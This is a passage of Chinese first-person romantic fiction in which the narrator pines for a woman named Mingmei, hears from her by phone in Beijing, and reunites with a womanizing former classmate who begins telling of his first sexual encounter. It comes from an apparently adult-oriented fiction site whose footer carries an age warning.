我发现自己现在常常会在毫无原因的情况下,不知不觉地微微一笑,在睡梦中,在旅途中,即使在我遇到挫折和烦恼的日子里,我也会在不经意间,流露出这样的笑容。微笑是否可以传染?不然的话,你那灿烂的笑容,怎么会在我的脸上也能常常找到——自从认识你以后! 我知道我不是诗人,所以我也写不出什么美妙的诗句,但是,那种心中自然生成的情愫和无声的思念就是最好的诗句了吧?有什么样的诗句比这更叫人感慨更叫人回味更叫人赞美的呢!

在想你的这些天里,我也学着离骚们的诗句照猫画虎一般,写上一两首自以为是的打油诗,其中的一首还附带了注解,可见,我这人也还算是有自知之明吧。我很害怕把诗这么美妙的字眼,给毁在我的手里,我也还没有进化到想要滥竽充数混个虚名的地步。

《想你》

我喜欢采取不同的姿势,想你;

我喜欢在早晨,在黄昏,

在黄昏和早晨之间的梦中想你;

我喜欢走路时想你;

坐下后想你;

在房门被敲响的瞬间想你;

我喜欢用眼睛想你的黑发;

用耳朵想你的声音;

用笔想你的名字......

我喜欢出差时呼吸着空气想你;

离别后迎着风儿想你;

我喜欢采取不同的姿势,

获得同样的效果;

我喜欢

用蜡烛想你的生日;

用沉默想你的动静;

用失眠想你的梦境......

注:有人说,恋爱中的男女,都会成为诗人。但是我是在恋爱吗?我不知道该怎样地写这样的诗行,我几乎拼尽了我的全部精力和想象,想完整地表达出心中的思想,然而令我很失望的是,我的文学功底实在是太糟糕了,但我很快便给自己找了个很好的借口:“也许我现在还不曾在恋爱吧!”——明媚,你说呢?

我真是烦得无招了,一个“情”字真是好生了得。为情所困,苦不堪言,无处可言。“想念你的笑,想念你的外套,想念你的丝袜子……”我一遍遍地听着这首歌。它是那样地伤感,那样地叫人回味无穷。它像针一样地刺疼着我的内心深处。它如胶卷一样地带我回到过去,一幕幕往事像潮水样地涌入心头,叫我无法面对眼前的事实。

往事如歌。

往事如梦。

再摧情的歌曲总会有结束,再美妙的梦境也终要醒来。人生都是如此,爱情又岂能例外?再回首,一切都将烟消云散。

写字的欲望突然死掉了。就如我那还未见天日的爱情。它们像是一对难兄难弟,离了谁都没有了生气。再也没有下笔千言的感觉,再也没有不书不快的冲动。像一坛死水,没了大风浪时的波澜,没了壮志雄心时的高昴。

夜一样地沉寂。

沙漠般地荒凉。

是谁抢走了我的心,是谁偷走了我的感觉,是谁?

我努力地找寻。

找寻那逝去的记忆,找寻那曾有的激情。我必须去面对现实,别无选择。

既然你是女神也是魔鬼,你已经缠住了我的灵魂我的身心;既然你是我的影子你是我的微笑你是我的生活;我就不能逃避。我只有勇敢地去面对你,正视你,最大限度地宽容你。我只能这样。

我已经没了退路。

这是我在零零年六月二十五日写的一篇日记,这时候距离我上次与明媚见面的日子,已经整整过去了三个月。这段时间我写了五封信给明媚,但都是石沉大海,杳无音信。我感觉明媚根本不在乎自己,心情很是低落。

第二天下午,我走在北京的街头,看到有人脸上在微笑,我便以为他(她)是在嘲笑我自不量力,癞蛤蟆想吃天鹅肉。但是大街上到处都是喜气洋洋的人群,我到哪里才能躲避这些人的笑容呢?我只好无奈地回到位于海淀区的宾馆里,打开电视无休止的看,但不知道电视上在播放些什么。我的脑子一片空白。

“铃,铃,铃!”

刺耳的手机铃声将我从昏睡中惊醒,我不知道自己在什么时候睡着了。凤凰卫视正播放着什么财经评论节目。我打开翻盖,看到是以“23”开头的电话号码,这是来自宁陵市区的固定电话。我刚想去接,电话却断了。

“又是谁打错了吧?”

我在心中这样喃喃自语。这之前,我曾经接到过无数个来自宁陵市区的电话,不是别人打错了,就是莫名地响几下便断了。等我再按照屏幕上的来电显示打过去,便已经没有人接了。我时常被这样的电话弄得莫名的失望和烦闷。大约一分钟后,手机铃声又叮铃铃地响了起来,屏幕上显示的还是刚才的电话号码。

“喂,喂!”

我按下了应答键,对着手机“喂”了两声,只听到自己的回音。这个“爱立信”最近经常这样,不知道是信号有问题,还是这手机质量有问题,令我很是郁闷。这是什么破玩意儿嘛?当我正生这手机的气时,电话铃声再度响了,屏幕上显示的依然是同一个号码。当我再度按下手机的应答键时,这一次从手机里传来了一个清脆的女声:

“喂,你是司马南吗?”

电视的音量很大,我听得有些模糊,但我还是很快便回过神来。这个人不就是我日思夜想的那个人吗?我在心里这样对自己说。我高兴得几乎不知道该怎么说才好。太意外了。

“你能猜出我是谁吗?”

这还用猜吗?天啦,我等了那么久,我盼了那么久,不就是为了这一天的到来,不就是为了听到这个声音吗?感谢上帝!

“当然知道了,我天天都在心中想着这个声音呢!”

我很怀疑自己是不是现在还没睡醒,要不胆子忽然间怎么变大了呢?都敢跟她说起“想”来了。

“哦!你还好吧?”

“除了想你之外,一切都很好!”

“我也有点想你!”

当我听到明媚说出这个“想”字的时候,刹那间,我便感到热血沸腾,飘飘欲飞,灵魂都快要出窍。我怕是自己听错了,急忙追问:

“真的吗?我怎么感觉自己像是在做梦!我是不是还没睡醒啊?”

“真的!——你的来信,我都已经收到,但我不知道往哪儿回信?”

“你就寄到我们华安电缆厂吧。会有人带到我家里,我回到家便能看到。”

是啊,我经常出差在外,她往哪里给我寄信呢?我真是傻得可以。我不知道我们是怎样挂断电话的。

从接到电话的那一刻开始,我这颗心便一直狂跳不止,好像是想要逃离肉体的管束飞到它心爱的姑娘身边似的。有时候上帝让人高兴的时候就没个完,好似非要让你在一天之中将所有的好事都给过完似的。我挂断明媚的电话还不到一分钟,还没来得及回味刚才的兴奋,电话铃声便重又响起。屏幕上显示的是一个陌生的手机号码。这会是谁呢?难道是马后勇买了手机吗?不可能,这家伙哪有钱买这玩意儿,买得起,他也用不起啊。

“你知道我是谁吗?”

今天怎么人人都让我猜啊?明媚的声音我能听得出来,但这个人的声音,我一时之间确实是想不起是谁。这是个年轻男人的声音,但不是马后勇。我只好跟他实话实说:

“你是谁啊?”

“我是李思远啊!”对方不满地说,“老同学,三年不见,你不会就不认识我了吧?”

“原来是你啊?呵呵,怎么会呢!”听到李思远这三个字,我感到非常吃惊。他自打初二下学期中途退学以后,就像从人间蒸发了一样,音信全无,连春节这个中国人非常看重的节日也不见他回过家。今天突然接到的电话,我怎么能不惊讶呢?“你现在哪里啊?”

“在火车上,快到北京了!”

“啊?”我头晕,这小子真是神出鬼没,不敢相信这是真的,“不是在骗我吧?”

“我骗你干嘛?呵呵!我这次在沈阳呆了一些天,正准备回家,要在北京中转,昨天刚好打电话到厂里问个事,听老刘说你也在北京。我跟他要了你的手机号码,这不一到北京就给打电话了吗?火车一会便要进站了,我们马上就可以见面了。你住哪家宾馆?”

李思远的语气里不像是在开玩笑,叫我无法不相信,于是我对他说,“我住在南二环旁边的**宾馆,你打车过来。”

半个小时后,李思远便出现在我的眼面前了。他穿一套带条纹的灰黑色“皮尔卡丹”西服,白衬衫,红领带,穿得整整齐齐,“卡蒂乐鳄鱼”皮鞋被擦得纤尘不染,一丝不乱的头发,油光发亮,能当镜子使。

我不敢说李思远貌似潘安,因为我没见过潘安,但周杰伦我却是见过,虽然只是在电视上。我想那些追星的周迷们要是有机会见着李思远,还有多少粉丝能够坚持当周迷到底,真的就很难说了,或者,她们只能是一心二用、脚踏两只船,当花心女。

作为一个男人,一个丑陋如我的男人,看到眼前这个有着一米八五的大个子,长着一副俊朗脸蛋的年轻男人,时常也不免会有些心动,当然,内心里也难免会生出许多羡慕和妒忌,还多多少少地有些自卑。可这是上天的安排,谁又能改变得了呢?

这真是一个衣着考究的英俊小生,如果不是已经知道他的名字叫“李思远”,倘若在某个街头碰见他,我实难相信这就是我当年的同学李思远!我上下打量了他许久之后,不无羡慕地说:

“呵呵,几年不见,你比以前更加英俊潇洒了,也比以前更讲究了啊!这几年恐怕迷死了不少美女吧?”

“哈哈!不多啊,也就那么几个——”李思远歉虚地说。李思远虽然嘴巴上说“不多”,但我从他的口气里分明听出的是“很多”的意思。

虽然我已经三年没有见到他本人了,但他的英雄事迹我还是时常有所耳闻的,而我听到的有关于他的那些绰号,像什么万人迷、少女杀手、西门庆第二等等、等等,多得就跟时下某些名人头上的荣誉博士一样,数也数不尽。

当我们在一起聊这几年来的生活经历,聊各自的打工经历,以及作为一名推销员的一些见闻,各自生意上的进展等等,聊到最后便不可避免地说到“泡妞”这个男人永远的话题上来了,而说到泡妞,毫无疑问李思远肯定是很有发言权的。

他听说我至今还是处男时,便哈哈地大笑起来,说我都是二十岁的男人了,居然还是童男子,这可比大熊猫还稀罕了!然后,他主动交待了自己的一些玩女人的经历,当然,也有一些是被女人玩的,但不管谁玩谁,都是很爽的一件事。他的第一次大体上是这样的:

李思远十五岁那年便缀学到江苏无锡打工,在一个叫做杨杰的包工头手下干活,学习搞装修。几个月后,他在一户有钱人家的小别墅里干活。李思远和他的工友们,平时只见过这个大富之家的年轻少妇,经常来此视察,从没见过她的男人来过。外人不知道的,还以为这个女人是个寡妇,实际上是男主人刚刚出国去了,要好几个月后,才能回来。


若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]